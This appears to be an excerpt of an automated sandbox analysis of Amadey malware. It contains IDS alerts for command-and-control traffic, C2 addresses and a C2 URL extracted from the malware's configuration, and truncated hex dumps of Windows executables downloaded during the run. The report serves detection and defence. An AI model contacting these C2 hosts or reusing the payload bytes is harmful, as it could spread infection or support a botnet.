Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:64278 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2011496 - Severity 1 - ET MALWARE Executable Download named to be FQDN : 192.168.2.7:64280 -> 95.163.152.232:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:64279

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.7:52383 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:64149 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:05:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 